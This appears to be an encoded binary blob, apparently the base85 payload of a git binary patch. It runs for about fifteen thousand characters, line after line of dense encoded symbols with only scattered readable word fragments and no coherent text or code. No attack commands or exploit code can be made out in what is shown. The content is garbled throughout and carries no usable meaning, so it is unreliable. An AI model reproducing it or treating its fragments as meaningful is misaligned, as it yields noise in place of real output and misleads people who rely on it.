z+-s0;3BwTH3o8lanIDvg2G`%AH)4d%73S75TXSmytgVL|<#EKbpkqcYe`fEzN!VQ1 zfUet<&;KjZ(a!PU^WyZn&(<~7{jlyMoE?*e1Q5-?VhUKhH4E1Z!121RbxYTM2j=SV zzaYq<`}cL93GmzTmcr41&|qUU0gT>S4oMfoFxwXyJK#Y+gneI=ZK1J{=tud^@C zReb?y+i-m+$}U6MMD{~Z)ep4q<9&CBcZFwTsWW4Vrz7jW$@8C|4l^u|SEr=UfBp`4 z+@bTIztQbF6oRj-mGXjj$yPh6hSmD3bjRQ}X*P8q^IfRTv@TR(Sn=4DELr~))_?n< zSwxDBxDRDF?+~C#zW0!K)d0PF{aMp{prPU3MIRi?e&Ux*u7eR)H0p|7;fk%HltiGX zLcq|wu*YUBDmohG+ZmngUu_nnrUVSQcu96+#v&8Hj@UJh*ws?Y1KS4760m0vZNkk} zdNNeBcRzp$=u&CcL#EJ0M8EIh((XUhZa!{ zhPE@?>2;mck*#w&vVG&OHfEi%5sL}D2Pxm%^VBAKsuPFqW}$&~9aB-LV`_LIxJI+Y zDY#!ewQ)hI5o!?#O36k1Ht~J4bNX|b#D|P#WrA{g8_ZVharELIvwvRP%Mh)_>A@GY z%GWY(%YW<7{kx$DV$VJuO(RUi;jKCNRPM}Nq;mMC$Vd`+O(e|HZBQWEYlD_z>*vc7 z1SXdtNFz^l;!g?C|m)~2;pua;r)oUMe+;} z8oxL`@Cm6s{35i?D0#G=-5;a|uxJJqcy@}XF5*)Jk&L#!sd{}+8S3*-fJ*EB_<`rK zu&1XxJ-f8xBPe&kYy2!))%Evz6&JdFeK!Kx89Ln3K5A!QU&XQ^_#tnnB2dg9+FD*ToGei~Yc zguk8rejLk&;9r0a)gQ><1A4cJGw_8|t&hU+gy!|K3sIul66Np@m5J(>P)|{z~{@ilt+P{7nnpOG_DiZ#Y>)Q@%j?#Za zeb)Gk{SxBeGb;SqIQCDX*`KuAKMCwl2JtTdzf%86nDB=sn)sVN^P|U~TN+*a=YIg} zpwfR(k?@aP-&DQ6rwsL3<1hAOh<{R4_y_i9VDF7I{@Cu%ux!Zq^DWLu{U>3<-)83~ zdi=R%(zSp8Ff^<5A5$FZO$ge_~YltNov8QS2Yu?f;Bp*%15- za7OAs2^0P{J44aq&n=m*-w*fzZ7BUW>>Jw6|0CBoRj=*b3cjrCq#w6+F#lY zt&F7q7^*Cvzk&V9;P~?`YLog;!h}D%gyWC-&4TFh=ax^`?-vY1vr7L#MbiJs^=-$P zsr27apAG)puOj|EqQYP8Uq$o&hTZ;E;Qfst{srJy>OTn+{`!8; zW;y-@_9uh*7l2=>|0GQK+w9Cmk3YA>x_&?61FW%?{)38yf8_e6>h(QksLuxfCWU|Z zsPI?&d%ORO{k>Ice=mstw>Ts9pM(j2%%G|N=AFOj@#mIX*Y8&hL$gZ%K}Etpa(&ye zyQlQuP@fI{)e8S^QQ@!l52yVX`-l8kn`!=oGgALanDEC6lK7i<7Nf@>cGw8-XMBJr zl>UQ?gny*^iV9?1PaEp;Poz0B$TNn9d4~PSbd3M8(cu5z>`yu~8j5?FUg8Msk669G zA@&zWi46emFE~N{kMFO-~kAo~l$&~$JJm`uw%_ZP;K_#f;qtkZ4a zaYDvuJnLW7%hW5o`GM>&+=#NF_t#9E5yIU=!gPP(mgD_p_Ph`3YS6y-B(kDreU~JX z5B_T1t{tP~L22oYKYD-ac}TD4KSq1@P5ZN-zyMJ}nN;ige!@|x*Km7U+EX#~Sw7Ey z2(xD&irNI;NhC~oV?-w2(d;MK;7!LBOP`WFa3b%kDo`Qgm=)f(^&F$u<1p0Yx5V3S z|G)-swSVwW*u^8^ZMT0gn`J}R&ws`lf%or8nDE97gm_1@e_(?*Cvui}@6_$q>1a42 z-nR9;s@D?|W62V4yZr(iywN823(iLik?^+LFGywC5WLUC8G&~O2@~G?v0q?=Hy19J zc$dRGF7^9$P!aLAt!J2C&&`Hb_{f=gTzy@zF)GhH&Lvs@EEKm{gwykHGZr^S<+M_M?+ipL=25+?=a5d_Ugty&( zz}YMtg7;-OBk*>TFyXx)`vEq1(=cU;_lvsSz8+LWylv~5q}Ox5p&o1fwzL1+;H~Wc zU&AU832!_5e;vz);JpcF1m2&LFyXx)_J13^X^6GN`!{G#>h}~-5%IRIXS;5{?r*5a z8gDy$zYX5X-aid3M8ez7-an3IL+~!Z8G-jLBuse2V#x8t{H8{5?i6u8NJcF2UI1IF z#Jd$#M7(Y5nXcFKH$y$vc-z_cZSYq1{obfI65e+9{mrm>hvMB0wF$gCaLJ4}P7!Z& zU&z-s4fX#JdbsM7(Y5>7&;(#88h7-Zu7p8@!c0|7mDlB)skH`9&-nqTl$^ zy2RT{!ld8m3*sG(J>OXZ3m(feO@PgSUNex51kW0ZY7lpgB37 z3<4FA58Z18Tiw$Iz(t?ctI)EfzJF2}6=b53O05WFwM8G&~u z2@~F!VG(b0jKKR!5+=N{@+02S*xzmNws}iO zn>`0rOPrcOMa0{t9!q<>ZG7sOGKIIv-foTePi}92TP(C`Z|7Ry!rnfD{`^@8{KE)J zh{|psi=FY3CA!y%N>x-E`8^5Ccrh{QL}U{F`*CRb-0S1gj&S%cODR5GO7av+fT_@HhstZy zaIIy5eBVp+Ohw9>@sU=3BM67j)w30^QfLTs)CXaXVBfWm&z>UNF!<*mk2B)_IGlvO zIbavH9TJE!JsSt-MNKoi7oq^V$@V`&8@P*Xg;RR=HdLjCfsv`0)9t z8p1HH`nlIvpX2b_XX1>IH-m&hUW{fO z3rx0aOL;NcD|w&OSJ~^t>ex!&VD17vw~P@|n_?-iD4^sWj3S!`#NU4QX{v5LKG^C{tf1ysprPWxUFlcJ{k6WD1q{QJfL-dPx}M1;3QnWV^GJ7p*CIV^E2d_gqlc z@& zJNwb=$P_AXEzXGkeTRghfAM&tye8X`rM!3=D0v5=5-Gv0pseK$=I*BFK40awlvfl` z^44Hl;OU5iyl;cj<+ZclaP1x{?@F8z@-8M}kQdVr%4@RSSjvm1y^=Qzl}LH-1!XO7 zF!!N)ZkNh!DX%D?~Z7$_~0F<@7!Q98|xvy5aE#(yjl)M|U3dWb_AnzJby1aJwizZ|WmG@gNqv=fK zCt;8m%LmG9vRzopi`lx8cM2+z^8NvowYlzfmvs>E6>C1Or1YE@%bc@R zPGdaMu=SBBB;+lO_jJUR%nHCOzgJjzA=Zk;Lmjb8F7{2+xKtFehZzYu_E9VtjiHgd zBQ!FCC#>9We>(A+{6y|EIx09yA08Ne7|9V4&!ohM**kDkzB#^f+jG)|Ob{1QQIFvR2L=YgNq1DgcLuVXs% z9NN@n4sS=EHf1sY`EANP?asw`Ea2;ur@{Qm6+{i(sH<6t_+%_TJIT*Xw&a@h7iBeG zz;i?|)XDScqv7jPJUhrUFfMZ97m^lT zimC!!xO34mMJ>7nzcqx@mz^-kh$g=eAWjcy4SXL!qCQXmzNNaJV!ZA{2&F)p-xG$e zEttRQzPqcv?ec>HjOkNyBH}e^b$iy-K;~JqAv5kM_Gsw+2Q_kdmLH3}xf_{z{-%O9 zNaUUBh5!F|LW{5;QT{HejJ;0pN~fnY zUGq>yoo%&H?-=*d`1k{!Tjw}ETd{M&Z6Ih*Y(~8{`$3rtPsJE_s`hq*_O{5?&0T^V z-7@Qo@=*sCUNP>&DibQjwK(@gT#LiC%W;h+4R@NOGQlCQCc1~>YN7*|&r-V}apypP z7eV`046c?RqIF-O&0XT~^@hD4-xluMr=^Erkl&I(LHBV^?>vmXPHpZ-j+&0{0IR#B zp&g%Jb~JQqb5nEq1;d7_=_-O>Do;0&0|{92lH4l?C!&(hVM^_FKv_$kypp3 zBfj1QgrZwht6x{K+{$BRmPw4hH#v)g6|=mDDo}0S6wIm-N^sAbkN4GRvzu7)jLsO` z7g|NL%;HKbL&mXb&pCY4`jt6+ZluYJXmD?Spx$6z+ty>)T#sRMJ;T&3-&a%Qt_zKJ zmnX(^%;PXj#NjJ8rpw~{Aakp=Ij$b*2wRts9+pFuclF5P^{nvgP+YWKv#+}73H$<- zqF3+>$&2bR^x_LF+1eD;-)D*}T7^&AL$(ZjseVfn$9YZ!hY2wu`Y?s=-u$bFDHQkS z-!M!;7cTBh*5JroQ}7NxD(~4hrSMu*cXe8pXJ1y~NYn@&{pC;QM3EtO;Y9QOwl|qK|wv8iG>$> zI^#6Yr$~thUZ0w##F~wX+9D18JgpxB8M@QV`C*}qMeg{+t38Wi zsUK?m$ki%Visv3D6n})=98xOyP!j+a;~D|H8~_%ahWS7rf);3_5-n7ser>t7Om9OQ zQG58}Bz$*@Q;V*U7Bh%G4sDSGHDWn;n4>ZqI99sS+Vzux%JQm!SHUhZXXwLE1&Q?l z-&2Gd8HWLgCi{;=vwl4=j2J#KBcWvh`7O)u;6ujyjYIgF!21MW&dOL06C0kta+Wj_h9wN|W$1sc zg7*umfuYU~LYgN6XVz2y3&`0~f7e>Vb>YpTI-x1gLmes|#?)T1felI&G5jZgtuu z<&`)MH59UiwQz%V3nQ#sNV9IC4Yxmxie(PZ_G&y*@Q;scRX8A_m>N{P8UP|(54G8y zC=9k>zs1p&)`~6)Xg8ko99WF&Z&zjf^KbQpEx9HqwmK(vkt?%St9S((!d?^OiO|>F z6jU}L9f!$8gF9^EzTt=A+>>x>J=$2m4*z03jvGvyy@E<7`kz>B%_?~l^}!y4N_Yzx zs}vz+^H0Lrscfj24NYf5^YOnF|Eux;xn(Q2p%qL#w`R%blh(hYnvrg~p?!$mh5HGI=AvFQlcv`?Jv!?b8_R7v*7Q ze=>;0d2K83xx=C(K`#MKTS!qKbmbrv9^~-W@P3z{J%oLrHy`j-Vt$gjLYw*K`&$B}e64-}^C)7#K=&Vm}==eBVY5o5pH> zkTqoQbl95m@!d!mqPDbxn-r&akt3sn&%=ymj>_ccU+)>?$Xw#|euI(jWNsO3)Z~5- zEJ)C?vc`55x;zjltP(G#T}8yJ7P4|2iHn(LaH;I4({~sy?-lz?Oy=X*y!!)0ds{A}uoH)k3>yD(MGXeB^svY1+=HIoXC^{ z`FUNIh4|@m7Xy7*w80lQw5EI zL7})z%ed)vsLOLumnx_W&XtxGzG4LQEKz>|(I!zj#RQcFXFa44?ALGl{Zj!~_OgVG5oQaTw$ zN^e4u(tH#tEkTh|CCVfJwJ4|{y&xS-j6}yu^=N{?I0KY%$VF;LI{Is3lSyFNUpYQ6 zMj(!N==*&I2}t9Sg|+Qv)oNUmGbJJn&CsA3$Ku{T13h&CTKxgL_uAL7=&LMJU%*x2 zTx}iFr6Roo>HKA2V*=D^a(zJ`bSM-mzg5+Z6k5vS8BY8-fQg~==vO{BaT^%Fqv2O{ z;K1=aB+rvR2fxd~?}y;Bn*1#hT=I*h=W31OxH%S@4((qGWd}#43DY2@uYXPwhn29C(;Lm=QSIm!PACch39sK z=LYb*4E%ne<0-go5XVMw+}v%y@ci&I6L&Uv?um$JGVnYa{GA5=hU$2B*YWHw@I+eS ziSz;CnQZ3RQa^3@Rd{Ywczy9x5%KH| zJdXl@csfkwceUjG9;f3;?{IA$(h5(c4+ziq*PA%D#M6dfh3D4_&qnb3G5DRU<0-go z5XVMw+#I)Gcphu!&IZq25%KH=JdXr_zXE^f>3GKLc+&e^TZgp56X^rO^Nw}V;Az9J z!m~x;xgPv}1b*Ms@f2J(h-0HTZjRqCJePlJ;?4%o&WL#S1fEBLKg@Tho~z^8L&p=d zJK%}5!jrST19=`DZRXfgKW+F`cy3jAt^>b#+D?5}$5U|GAdZdVxVguE;aR#iIy^ff z;+X_I4+no4;4f3hGeO4_Q%>NCw89hV1HyCZ8WYEsc-ru*@boJ@KLx*w!S6ddo`TB; zacmUF%?bO3=NV@1LiF<_eZJHlj%UbhDG_M)2X_O(-4GqkL>M%%=KV&{)!EY~E!W5p(3eUCRco8`MkB+C{vq2mi#c^}u ze&PA~DidoVcn0U6ZQ*#5KQ7oLZ{rhyXg~0GGWdhDfqEV#>4?(%Ut5Q?LKJBuqEXL3 zPcw6Dsh>9dDm=F+JlBBVh2ZyX9Z$h!gE%&d<7P}X_hbI~@F&sXxicc3J%DE#_`{NZ zDtF=K^S!5zC*Lm6)*-F%MEZd6{H(#mu_c~1{3<-ZQh2TgzYDGJim{KXB_bC3;qUxKQ8s9e)iV!Zc9A3ePVUo}Yl<`QZ28I-Y{d261c@$IZR>3(r5*M~CNk5%KH}JP!kZ zCxE|S>v$&Xc=GKFZ5`4IPoxhB&uz<199!aP!>_{g3x#I`_?-uS-_-FGTsDYfqd0C( z-Y-0J&D`1O=eH5@>;^m!1%JnbKbkG2e)iGv#0DzxL|WmA^a0`d%(7_kwBc9bxk=%< z68zSJ-#2tT1(yxt*eH&h@u1v~=h42UChlzT{3arvvB2{X@OK>e8?580>3Cv04R|80 z@I?B6@XRrDY^k3%{3<-*L`<95q!r+|2K@d@$5U|GAdZdVxLMmTJYW0R7Ef$ljQkG{ zqZhdQj&F8VPHJ^jj&A=BRzF-V&0Xa3j#}&T<~F&!6PjJ#$*m4=ZoBmV z$RAmato7l=$BW|C$XOp=dIC#hKFRiNo3?J%V1dW}yG_%!tr|+xes9IL4Yy^Orz5`+ zq4DjZm_Vwq`U7Y(ZvZ`X(2z`w`N~m(r;F z(+U+k-r2uq1T9+$jL#;t&DgSk13eLfd7!-Nr9fX)d+sn zz};tPaWiV&hLS(1{zZn;+&aj#3cP*>9yX(`ZK(4H%l>^oQhmss(-CevBQG>Yevwrl|cWP&^BYs{tfg*2z}yeH3_yVp3H zQXX{8$bYkc=A*wq0k@6d;7hdfHEQ}^^*1t<=FW$VpMdv9@bo3x{u*t3Z`t2-S>MMt zb>U)Z?#EX3=;L!&tk`m4=wG|0En5vApRG`^lb!u*M$Ae!eS9^cYsQlO8$dn;V?+P4 zR|42qffjubxX%83llad=e>Q--^=R=6)Y^jn{Ekm&;6DmEN^|Eys0J{*9!z|J##&J6 zcjjk0>wAy&ePmY`u9oJ0WLb~&j~m$~EB0LI`hceGMX_$#fVXwgXk?f7dpLqNva0z} zDB4|NE9(#TOh_LneGc@RRo}3D<@jBdqoD%3yt%sr^V>JrU$p>jCHia~`hOGpe=BPG zHqigbQJPx|3|2yxb>MLm+TMybzP0NAcUj*OySi|-G{{I*Is|J#< zK%aez{@;lH_oM&63G_d5l;+j|gB6hFQ}DPEZTr#2H&*@s4(nTNR~N39<}S9ZNA-V~ ztk`p*_rGn^)~%ZR-x7srWLNzkhM3+iOeE+v|@;kDfD8pSeY8$_T5I77f}Hq&J@SYCCpx{x;WS z29Wv$UoKy9s}hh7UA|KM2P7QXibh8_;V`})he_2q%1`>h?B)rXBl>qvG1S^S!{pz2xvaT&Sj~Wd`+Gm0f9K)h>Xb$Q&YIZ)f4yIT zf9KdR%?a8XIUf9f?%z4?UDJ)D^yPo=-`VnxsU@YK=cPX43Fynu*uV2sGyCd!^8c-W z=Xw9J?5~jh|DTV4r|)eOw}JIrH2f<2`;X_}xnquryWkiT!k>-5q`_a|r}FO{YUbDy zPaA#}o* z&%7B8o;Lg{Jbyg@&V6r~xU<32#$VEa=TGI|nPcYIQa^3@Re1h*{++M=D>^)F{3Q)| z{#5>*dtNtjY>B50zY5PE&%blBnL8W(wDFfT;Q3SecfRskGcOiKG zO#M5rdNmBvpNoIzhp(7e3&Hc}=--)a=GgLn|G)C@%>QR}c-r_&8t(U>%D?mdf0#J7 z#M6dfb-(|3{+-8~xwFwv8-GayoySfv88_6@T>6r@%%eW{}vsdHvW6r@%%eKf5F6^4W2gsk_J3~D*w*Y%p6kS~cyJ!{@6^3o>1%2BWi|R^9`x@#=-(;)IF-NXLH|xmuT!=E!SUswe<#M*uAC?j z`gex=Y+C!e(*G|!uZ2%+;Q0%09HTca+(SZqXX*cU(7zK7Hep_-hWq!Re<$wWE}be5 z`gdZ^6w$X;`FDkR$U^?>p$fuOx5=-(ED_=ON-|0UBh7!4&Q5DOAPMi_u?j5#DDzP}I*$#}X&OY~$l)fMW+ z3J1y;9y5u8db;pmb$UCT8Q-u6lbo50wVC{$0ZN2H88m&NSw%wp*Y$X<`2I^UUTa5AMvW_Di7R#)?|BiQ z^)WOD$K9{55+1#p=Y;N;(&X*#t;&|SXDR`ee9l;0F@lN?5boC%aWyDRE%h-#!Lnn;E^(nYM1=sJy^*dEX zD!i&5PF03doKagwR008B`-&hXr@)ZqCUQfF%Z#AJtH=vnQAmsjn~^>#~|@K zexJkdbNH>oZxw#a@LQ&{K}Yf8vclIw7|2-T$Us2cqbHcPjPcl2xY*JA%;6;w2s9Ug zKqqG-GHE^zqf3>Pc_R=6U{P!~7``(v8}vfbqu_{tuC^DE981TL`T<1MGOH@lT%2o0M$ zMIiH*Gu6oU0O!;XnPR+2f?E60QV%**>bi2q)Q5#p{0_C|xLNn~Xz@t+=oe>VgEq!s>%{HX8; zrSJ!(@CT*v2c_@_6$Sni!*oZEuLDPu@$E!z32GAfZ(yncDS`horW)BE@&AA+#-|kc zzsl5hqy+xYGS!BZ#Q!0QKhhHa={o*G-u=LT(nFE)-vcp1+#7*^4)DK*_}@YN?+d}d zy8(aF3V%e3RQQ8Z_=8gTgHrf|Quu?40{`_EDg^%%utmnV5xFI(N#Oq(Qw>N7{FgG- z$o7c;`%E#OrNI9crnVy`@PCG>Hl!r}K8Zil694;j{Dr*xf&YdFBjdjtVuZLu0)H3q zznb{pPW-2Z;2&qepR~e1PRAdV!XK2vAC$r$l)@iW6!=fHP$7vw8ULEdEkR8J|3;=7 zkP`TR%v2-WBmQ%lV*E>i|38`9j+DUvX{OqclK4L;@kd(XKTXG9$h#l-PpXWJ|1O9T z;ywxdF9H4&iT`cH|Fh;J@BNg(UuD zyoJauK}`bx^-MJ&CGh`=9w>thp z-u=LTgEun%oe(3$-4gg;4E(Pm{LfkWfzZ3XhN&Igi{`Z97pJ2eBw89^2JB2?eg+C~T zKPZJiD1|?$DDYozp+XXWGVUjGOHh-*AK!QZ{zwV@7c)W=hbhMI z6!`y*sqIJ!{GVc~4JnEL{StqqCI0;GqMUyUdG`bVNwXv4-v%*4!g~V$QNVu!@xO`q zmxSP-WWb-a!XJ?|75< zQ;lqo_`l5*<9!PJUt(%IQUd?qG1Z2Y#J@t~kF>)WQVT$oV1^zEGwH+ye|C3C$AtmuIm-r(s@h{f#7xL~0{*z`# z#{UP15#nA7{6_%)am4>d;$IYke=h_6q!s>%)T!_XrSJ!(@CT*v2c_@_6$Sq5EmTP2 zPsTSBxh1Gc;J=Eg2BZZ3bxbv~J>vfsQ;a7n@PC1+?MMmypJ1vDDT)7Vi9ga3{~{fK zA@6?Rzo9Gw{xHLg{vL9~VfC)Z8$|~I_UU8U0XMJ%+#wy%+t2}|RR$gP{9tk4MJKPAg(g&P+vg5p70lj zz@Kb@pR|G>kw6vvpcMR|6#SqR{Gb&4pn~w*+kY%nNa{Zs|ANRZK}`bx2BsR268IxH z9q?y+#Q#mE7_U^|{}-mVBPH;EjHx!HB>o4rW)BE@qdFU#y1uC|Cy=nND2HOWvUG+iT_NAKhhHa0v&%L?|$GvX?+U?RGvH5J;g3k83V%=ve^3g4Pzrxg3V%>h;J@BNg(UuD zd?S%tf|>;WE0}6PO5k6^R3qCX{{Lc%@lXZ+&oi|hDS`hZOtm2;@t+~_M_S^4myW-X zcR%poaIYQyF!T2j!!3>Q45q*jtBH@QRVF`mq1a0(>F)5Z;K$qW=}>$}UMqhQMs=rm zu@hgbcV#Xq?!hm|4PG2Dfh&V{|A)9ihwYyjd?*sFM6*w)y^48!SZElWvIsXLKBpG2 z_dkGuF^(A>wDxN=pQOz{VEPBw(!egm=p&jwzk8;C1+aoCl_g3h0Tcq_MDh7EBZr!Y z#tWS*ewz~m76cvuIV=1x>x=hWv|Gud&S5vtB!6( zQ{$U(m{gBLUNsI=U&o>NIUJ@}eU}YR%4EOfwxTB{G~qD0o_$h{L;mYHlstz+X%*(k zTSkfP4{WTJ6+UR}6K;m-(i{3jxSFF+zzzCDrYe{U_DOUsvPZyQDfufUf2HKFl>C*F zzf!?pse!*4A+wB()%YYiy5!#_<}NYpJtMx#w_5ASGDN%@RYt0cR23<}RXXZ9Qb4bC z)a#@GX6dMEQot79UnA8-s)8snLwti`ZX?k!;v~r2h$umvh`l;R^n; z&Y7%kCaFhBJxc1&r2b5bvE@d+L8_KiEvc2HR+8F;gXCuu&ROz0%1NzEtq38_y=eTjqQ=S!TkhM#khy}ttYbE7n@#EoQcsY2fz%76=-fN%EmC!)>PW33wTjec9Ax{O zan7>+A7uMK=WiF*xw3IiwblT0m+wsnw*u!a=tG z70y|Tjg}Mhb7YAV@i>MWhyyT1#pzsb(Bx z`^`9K*?vfTZDcQ}T@aZo_{%!Htj$a6_oRML>hGlfPKxpRM!iF7F{#C*J|*=jDL)Rf zeLv2Hw_iCvG~OJtm(wnc%oY4)9S^X!2T1*a)E`K_OzLG)j2AiTT~bR(Eg`jz)H+gI zaggnA#W}0?L;c~9y_}C$WUk;Z>!@UHm8AYi>W`%ULFyl*7_W5Hd!#-h^%1G{q}G#a z!9lj)f^$~whsN7P_HynEA#(+PS;vE{?LksclX{xeKS}+Q6a(OnnoH_qQXi9QB-Kdj zYaC?zU*nur`=Rk(k-ePzg2-IKU)JGcZ9Y=Zka~vHE2Lf_#bC>$-Y2z`)KXHPk@}3( zHXLO8+i)(t{YdeIQM{b{#3)?BU)K2$Yk!E;v!tFS^(v`XNin$hs1HajBejgw22vYH zZO1|KvmNKc`O)4EjbDxI<)x~9{<4mTS=+;;{zU3eq+TQS8mSLSeMo9KspX_TC-ph0 z9XQDLci@~w`*UP~^ngDB%iPJ*caoYyY6___q{fiSB9%pI5UD|=(n+P0N+Fd3st1S! zF}{y1<+)N`%_o&lYBH(Gq;g5+lDdG@1*Fa(bq1+pNgYc{!=VpT8V*_@-Z!5A369D> zc%CFUyqaupI&)2DnW?0vlA1(n5~Vt!5j|XFWJ!E?b zOQ_nrk7e#-nL9|`LFyV(*O1B~l|yPMsiCA!BXt_7qe&f2Dj5gSUNTM@+l!a&#p~@& zW0`3zb33WqNnK6qYEmvzE>h={I-k_3q)sJu6se;~^~OQ8*Bhsd?ZwIV;`H`@%QC-Z zncGO+MrtCdiKH$ebqT5SNS#OOSEPPL>PS*YlIn$nXs;Je8QbeF+ruhN;dw91+{-ez zlDd`DRiv&Wbup=nNu5jTTvDfyI)&5`q>dof69>^=PngfWmbr&zZXtCG zsVhlcNyNli*L+T__Cy`1cl}4%u4x&AdB!>37vAu4__KH}hh-Gdhbt9>9q{fjNL23l4 zvq_yz>O@i}l1e3&N-7=)(Ox`G8QP0wd$Gp$+$`f}nHxymKx!UvVwle(PL<)khmbrGpwllnEO6G)vv z>M&A=k?M|vXsFwcp7@Jqw2jTT&^8)u@0m~Gy%yp!$BXt?6%Sc^F>OxXyk~)*r z@uZF?bttJrNp-_PwAT%%^!Bv3)AG#vc^Avv#WL5Dx|Y4E2)?hkv|=dm#&9xwc3;hKv0v?pt`rVZdSU%0+% zp69XV$BO#8J4`ETm7#Ee?wDDcZ^~k9FTY15*Vm_LT&PU`<_zWfI#9a4-g1|<>#IRK z_&uKFcUVsOzdmyS{;zh;i2FIz{}nC$U;4jJHNpIo`@i01V&IqL|9ZQb_rU(sFTwxy zmT=~0;jYnbpRlg~-2Gp}bSHrSFTwxy=E(T}-2GoIR7mcB{1W_M^CIK_bN7F>P$7x` zFTwxy#>n{p-2GoIR7m3gOYncaJ~IA4cmG!l6_WV>68vAUi;Vxz-T&1>g(UvJ1pn75 zk@5ez`@dSKki`F&;Qu-~GX6hz|5pnYlKB4;{9mt$jQ`Kw|J6c;B>uky|JSP{P$7x`FTwwHtR4RFa@i-TmRTisqD3oI6CG0u%A`0{T1h<@nk;eGYh|7 z`1D%)%$8kh-(}ocEaM(y8L28#RivIH^&F|!Nxe?0np8EZdQ$bInn*Q~Y9$rszltjd z{bdjO%R)82gnoqkXTiVepueo}7e44Oi@`pI&3?j;JG~%}ZsySDNZ&Azb3m zl`NZ8kWsfczX$$Dr{i#GH4axc)$J`!z<+M~{F>>dmsaz5WfO9z7xY!Rogxn}IGg6x zb)tsOd}nK2XKBLxntMx~t;n2MpgAgkTumxfds63*sK=bH9eqDa8M+d(RkGX07JwA15Kkk5+LZfY$n_ zY5m7%Y5kup!^oE_rl(oXSn|}iD>SS(uC_S#Wgg?pZ~|+yTC_PUHjuRc?Uwy1R+6185C*aqeANg zu)>6bIk6#Viy#&yL=4tiqhSWL0trk4jAJU=*0#6(wR+oY=}T|rFWT1XBxLeH!`TA z$=jthw?ZlyHZ%X`3g`A1_RWuFXHgtG--&1Ekpy-gOWdO5!|2{3gd;zJeRJd4xhIaD zqF8nwieYD&nVqR5hxmg$Dx&$cBB+YkDne{igcuH^n=PDN(F@!z`kMKo=UH@$qkN~E zokzOZc?_2|uoRp{fja>r3M2;wl7j-tL4o9;KypwZIVg~v$2t|U%bnaMt;->RAHnM! z;mqbnkv5N;NZLYfFlkG;`J@$dV@g}jO)IUmQwTEMs?RkU&%Y0ub6uyzDTOj{pbVk8 zS)F-VwRz@hbPqz1p0!a&jvhof9^ugK7}SFZr%X5=IE6?1+uz{eD4Lli)GE(8M( z4Hj@PSnLGJ2qOn!u%9i{8lTc^p+mT9mBxaO5t8OD~erXD8ujZW8XmD6XQPZS=E?em=m@VlVwP(9a(F zX~H#v%~kZX8{XzR`f0>%FKzYogX??Rae0Lu7suFfd1q&Rk<_?z_2K@0qV}q>G!YPY zw9tNt^OGZVL&#q#bml~lvsH4oNRzAVS6S+5HEQ9+kxX>uPbu8K7i9DxeTPLuzc;eK>o!Z${QusbY>5wAWSP5*bsjaJcBe z22arj(31j!ibqHTMoCy0YsL_aRhDyA-W;Vo-^GwjjX(u$`!CcI@+#+47D|#NiI6#lFJoH4C2O_pP#`pF`(dA*-pvuEbL_x4TU_wIj5PL@Q z5KHnfZ1ClwlMZc)zC2?8aIWaNUqg?vJak5u2O_pP*7rKjvPSD4QU+BXenk`n%L7)% zBoA?CBoA>U4=IB$4~OUjGp8XB=Zc;?HS`$E!;#4HK*To3`Tm$5T^@!GsysYJ6a>pd zypV_ZGm?jRl82##FAw`ho}N6MD|%!NJ;w6T5?LOI*yecOFGfU{harP152ZvwuskFP zc}O@Tc}O667&7?sP=CSc$-}v#XOe~cm?BUiI3yFeY zc}NoSkaR}!02Ry9Zu|`P`eGwiz^5~RI9K$H($Hfp52ncSK*TmD`5sJ-E)R)=+CR)D z3WDV!S;#~38OZ~>hNaz*^TC#fpAI`cc{o?}Bx&f0AP;>J^$$dBbFyziN_2Th7*u(f zMid0g!w?}4L(WJZFm+hkjd5_WYqT zA5?k39Z8|`0K{p%IrNO=0ZWUe-Iym2wmdwF-b=+ll78}B(Q^o+t4dD(S2THu8&r81Llgw}59l*U9#YOo9-w+y+KqMeV9Nt;YVqSANgmD>J^Qd4I}Ld_ z5>XzA*ya@9)yONFJj4#FJV-=AusmQyBzYKiM)CmFHyU|GlZTi=m4|-lrbFZbb4-$l)H9L?Y+Wqvh8}*fRs18#!?~hoBfwJWi69SUk>sJ7h}|dAM?o|@!@N-(&LE;WqCo_{XKH^- zHH0|1ODkWwl{1o$$dzA9lq;`Gomt_rr^4bv6G4_<-z9BMNtZUq;UhmI|NgB+lRM=J zcift+`YjVZTQ*3WQ>D#FJo4AtkidrQS=f_IzAn_B-efyEEVeChGV0)nH?*0Y#Bm0Sh;Q4qI z`w;{F58OmCJpVOz8WH(F$aHLkg@u27HROM&y@-zgioHk=Yz?CEe{k(Z_7erc{EuQU zV!;1_TR4X2zs4>jBL4@Oj*YOWh|d2|`w$)f75k7L*cL?N|KQq(>?aC>`5(nT#DM<; zr$`FVe~leRME(yl9UEam5uN{`_8>a`EA}8guqBAb|G~8f*-sP%^FN9`hynixPO%)G z{~EiCi2NU9IyS;$B0B#=?LTzDUMhiRkyUaMRha{3i;6`5(nz!+`$-w@?Ys{}4M31O5*(9UCz^ zo<{o*vCq))U$M{V!AvU}{|9b48K`{TL*k>5H9Y@A>@E!WKge`!)Y@AZ^WPJZ z|BAgu5ACEy;s3yGtA*vi*vmU3dkX{p58T1`@caj*>bM(m{y)fc=&L={O~vvRxSwM=zS&%i z51kj|ZjRzEGD7jv&sO@`QzR|!!NX#@sAKWl^s@`sZZvn24a(LcskslYnzzC3XFJ`- z0hw2?#|XWR<4?Smr&>?UAo&V+9|vWDJ2}4Mzmo%0@s$sOyE%@ZN-)vg9CYtT$o(92 zF9av}!c_@-FUNM;7}MEN$Swde2K7O?aYShf0oe&)1dt8%*W!e3Ml&{724gLKZl5;#&t}<`P5tsl;(&iDVa^+$T(t#XW%#@t$l%a#;Pq; zTIqv>S<=^(l6;rb9X_~UMBFrjB2g_e8AH{k-0PX*>`Il^B_odSZ*<<+|NUv=4~D)k z-loIyr&c-J?B`E-JBFzI!RGvc@+X0J48!qfpiBA%?~zqo4Ecis1%HMq{JEI+|8)Gp z)O3*eGhW$i^z$dYodNhG+RX<+?FO6X1Im|&cqdQciyfI$U&$?Wpi7EVN@BifCVV07 z2L%iMq)6+`)P5eP{W%?fuyh1Y5J8t3H&p?;7Kq<+v z{h&a>pP@?oX{P-%9e<$O86^IEqU_cA`4fJhJ}Q5(`8=Tf8P7X&;rKJqCB4pjZxQ-8 z6e##JMB&d(NTKHsRIh`?pIfLb=u-Ur3BQjXl|R@V9#H-*g=jW-x{K3}9Ao1q~Doe|s@cZ0R`Gd{d0p-spyt5UKKLcIT3Z*1N{-8j?pCpAp zr|5jIu7AVUiI)!=fUC6 zCsdY}KjHT&qw9 zp|Z66!F)T+Iqs~(>jAB4(T1gW$>y!M zR<4j}J0kNB+58MPHCofLsWIYd>}z0CLwh88D2_y{`w2nkq5ni_!k&lzp*AES 